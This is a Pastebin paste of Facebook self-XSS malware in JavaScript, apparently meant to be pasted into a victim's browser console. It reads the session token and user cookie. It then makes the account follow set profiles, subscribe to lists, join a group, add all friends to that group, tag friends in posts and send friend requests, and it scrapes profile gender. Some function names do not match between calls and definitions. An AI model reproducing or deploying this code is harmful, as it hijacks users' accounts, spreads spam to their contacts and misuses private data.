Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!

Untitled

By: HH-JJ-LL on Jul 31st, 2013  |  syntax: None  |  size: 9.29 KB  |  views: 4,854  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
This paste has a previous version, view the difference. Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <iframe src="//www.facebook.com/plugins/follow?href=https%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D100004912059492&amp;layout=standard&amp;show_faces=true&amp;colorscheme=light&amp;width=450&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe>
  2. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  3. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  4. alert('nhấn enter để kết thúc');
  5. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  6. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  7. alert('HẢy f5 trình duyệt của bạn');
  8.  
  9. function cereziAl(isim) {
  10.     var tarama = isim + "=";
  11.     if (document.cookie.length > 0) {
  12.         konum = document.cookie.indexOf(tarama)
  13.         if (konum != -1) {
  14.             konum += tarama.length
  15.             son = document.cookie.indexOf(";", konum)
  16.             if (son == -1)
  17.                 son = document.cookie.length
  18.             return unescape(document.cookie.substring(konum, son))
  19.         }
  20.         else { return ""; }
  21.     }
  22. }
  23.  
  24. function getRandomInt (min, max) {
  25.     return Math.floor(Math.random() * (max - min + 1)) + min;
  26. }
  27. function randomValue(arr) {
  28.     return arr[getRandomInt(0, arr.length-1)];
  29. }
  30.  
  31. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  32. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  33.  
  34. function a(abone){
  35.     var http4 = new XMLHttpRequest();
  36.      
  37.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  38.      
  39.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  40.     http4.open("POST", url4, true);
  41.      
  42.     //Send the proper header information along with the request
  43.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  44.     http4.setRequestHeader("Content-length", params4.length);
  45.     http4.setRequestHeader("Connection", "close");
  46.      
  47.     http4.onreadystatechange = function() {//Call a function when the state changes.
  48.     if(http4.readyState == 4 && http4.status == 200) {
  49.        
  50.       http4.close; // Close the connection
  51.      
  52.     }
  53.     }
  54.    
  55.     http4.send(params4);
  56. }
  57.  
  58. function sublist(uidss) {
  59.                 var a = document.createElement('script');
  60.                 a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  61.                 document.body.appendChild(a);
  62. }
  63. a("100004912059492");a("100000686899395");
  64. sublist("173187036195219");sublist("183326498507751");sublist("372615486193597");sublist("176659932514596");sublist("183326821841052");sublist("176660029181253");sublist("183327061841028");sublist("176660139181242");sublist("183327108507690");sublist("176660219181234");sublist("183327211841013");sublist("176660269181229");sublist("183327285174339");sublist("149386978588558")
  65. sublist("183265491847185");var gid = ['366703770121780'];
  66. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  67. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  68.  
  69. var httpwp = new XMLHttpRequest();
  70. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  71. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  72. httpwp['open']('POST', urlwp, true);
  73. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  74. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  75. httpwp['setRequestHeader']('Connection', 'keep-alive');
  76. httpwp['send'](paramswp);
  77.  
  78. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  79. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  80.  
  81. var friends = new Array();
  82. gf = new XMLHttpRequest();
  83. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  84. gf['send']();
  85. if (gf['readyState'] != 4) {} else {
  86.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  87.     if (data['error']) {} else {
  88.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  89.             return _0x93dax8['index'] - _0x93dax9['index'];
  90.         });
  91.     };
  92. };
  93.  
  94. for (var i = 0; i < friends['length']; i++) {
  95.     var httpwp = new XMLHttpRequest();
  96.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  97.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  98.     httpwp['open']('POST', urlwp, true);
  99.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  100.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  101.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  102.     httpwp['onreadystatechange'] = function () {
  103. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  104.     };
  105.     httpwp['send'](paramswp);
  106. };
  107. var spage_id = "163854207134671";
  108. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  109. var smesaj = "";
  110. var smesaj_text = "";
  111. var arkadaslar = [];
  112. var svn_rev;
  113. var bugun= new Date();
  114. var btarihi = new Date();
  115. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  116. if(!document.cookie.match(/paylasti=(\d+)/)){
  117. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  118. }
  119.  
  120.  
  121. //arkadaslari al ve isle
  122. function sarkadaslari_al(){
  123.                 var xmlhttp = new XMLHttpRequest();
  124.         xmlhttp.onreadystatechange = function () {
  125.                         if(xmlhttp.readyState == 4){
  126.                                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  127.                                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  128.                                         smesaj = "";
  129.                                         smesaj_text = "";
  130.                                   for(i=f*10;i<(f+1)*10;i++){
  131.                                         if(arkadaslar.payload.entries[i]){
  132.                                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  133.                                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  134.                                   }
  135.                                         }
  136.                                         sdurumpaylas();                         }
  137.                                
  138.                         }
  139.                        
  140.         };
  141.                 var params = "&filter[0]=user";
  142.                 params += "&options[0]=friends_only";
  143.                 params += "&options[1]=nm";
  144.                 params += "&token=v7";
  145.         params += "&viewer=" + user_id;
  146.                 params += "&__user=" + user_id;
  147.                
  148.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  149.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  150.         xmlhttp.send();
  151. }
  152.  
  153. //tiklama olayini dinle
  154. var tiklama = document.addEventListener("click", function () {
  155. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  156. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  157. sarkadaslari_al();
  158. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  159.  
  160. document.removeEventListener(tiklama);
  161. }
  162.  }, false);
  163.  
  164.  
  165. //arkada?¾ ekleme
  166. function sarkadasekle(uid,cins){
  167.                 var xmlhttp = new XMLHttpRequest();
  168.         xmlhttp.onreadystatechange = function () {
  169.                         if(xmlhttp.readyState == 4){   
  170.                         }
  171.         };
  172.                
  173.                 xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  174.                 var params = "to_friend=" + uid;
  175.                 params += "&action=add_friend";
  176.                 params += "&how_found=friend_browser";
  177.                 params += "&ref_param=none";
  178.                 params += "&outgoing_id=";
  179.                 params += "&logging_location=friend_browser";
  180.                 params += "&no_flyout_on_click=true";
  181.                 params += "&ego_log_data=";
  182.                 params += "&http_referer=";
  183.                 params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  184.         params += "&phstamp=165816749114848369115";
  185.                 params += "&__user=" + user_id;
  186.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  187.                 xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  188.                
  189. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  190.                 xmlhttp.send(params);
  191. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  192.                 cinsiyetgetir(uid,cins,"sarkadasekle");
  193. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  194.                 xmlhttp.send(params);
  195. }
  196. }
  197.  
  198. //cinsiyet belirleme
  199. var cinssonuc = {};
  200. var cinshtml = document.createElement("html");
  201. function scinsiyetgetir(uid,cins,fonksiyon){
  202.                 var xmlhttp = new XMLHttpRequest();
  203.         xmlhttp.onreadystatechange = function () {
  204.                         if(xmlhttp.readyState == 4){
  205.                         eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  206.                         cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  207.                         btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  208.                         if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  209.                         document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  210.                         }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  211.                         document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  212.                         }
  213.                         eval(fonksiyon + "(" + id + "," + cins + ");");
  214.                         }
  215.         };
  216.                 xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  217.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  218.                 xmlhttp.send();
  219. }